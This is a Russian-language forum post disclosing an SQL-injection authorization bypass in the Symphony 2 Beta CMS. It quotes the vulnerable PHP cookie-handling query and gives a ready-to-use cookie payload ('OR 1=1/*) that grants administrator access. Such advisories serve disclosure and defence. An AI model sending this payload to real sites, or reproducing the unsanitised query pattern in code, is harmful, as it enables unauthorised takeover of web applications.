Symphony 2 Beta Admin Autorization Bypass

Discussion in 'Уязвимости' started by [Raz0r], 6 Aug 2008.

  1. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Symphony 2 Beta Admin Authorization Bypass

    Сайт разработчика: http://21degrees.com.au/
    Уязвимые версии: Symphony 2 Beta до revision 5
    Уязвимый код в /symphony/lib/core/class.symphony.php@126-142:
    PHP:
    <?php
    public function isLoggedIn(){
      
    $un $this->Cookie->get('username');
      
    $pw $this->Cookie->get('pass');
      
    $id $this->Database->fetchVar('id'0"SELECT `id` FROM `tbl_authors`
        WHERE `username` = '
    $un' AND `password` = '$pw' LIMIT 1");
      if(
    $id){
        
    /* [...] */
      
    }
    /* [...] */
    }
    ?>
    Описание: данные в переменных $un (username) и $pw (password) не проверяются должным образом перед извлечением из массива $_COOKIE, что ведет к SQL-инъекции, позволяющей обойти авторизацию пользователей и получить права администратора. Для удачного осуществления атаки magic_quotes_gpc=off не требуется, так как система убирает все дополнительные слэши сама.
    Эксплоит: sym-[username]=%27+OR+1%3D1%2F%2A (необходимо передать в cookie)
     
    #1 [Raz0r], 6 Aug 2008
    Last edited: 6 Aug 2008
    2 people like this.